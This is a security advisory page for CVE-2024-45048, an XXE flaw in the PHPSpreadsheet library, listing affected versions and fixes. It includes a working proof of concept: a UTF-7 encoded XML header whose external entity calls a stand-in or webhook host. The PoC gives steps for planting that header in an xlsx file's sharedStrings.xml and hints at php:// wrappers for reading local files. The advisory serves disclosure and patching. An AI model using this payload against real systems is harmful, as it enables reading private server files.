HighGHSA-ghg6-32f9-2jp7CVE-2024-45048

XXE in PHPSpreadsheet encoding is returned

Published 29 Aug 2024 · Updated 6 Mar 2025

Affected packages

Affected
<1.29.1
Fixed in
1.29.1
Update to the fixed version for your release line, for example:composer require phpoffice/phpspreadsheet:^1.29.1
Affected
>=2.2.0 <2.2.1
Fixed in
2.2.1
Update to the fixed version for your release line, for example:composer require phpoffice/phpspreadsheet:^2.2.1
Affected
>=2.0.0 <2.1.1
Fixed in
2.1.1
Update to the fixed version for your release line, for example:composer require phpoffice/phpspreadsheet:^2.1.1
Affected
<=1.8.2
Fixed in
No fix released

Details

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the xl/sharedStrings.xml file in edit mode. 4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>

5) Save sharedStrings.xml file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file:

use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");

7) You will receive the request to your http://%webhook%/file.dtd 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files !lfi

Is GHSA-ghg6-32f9-2jp7 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected phpoffice/phpspreadsheet, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.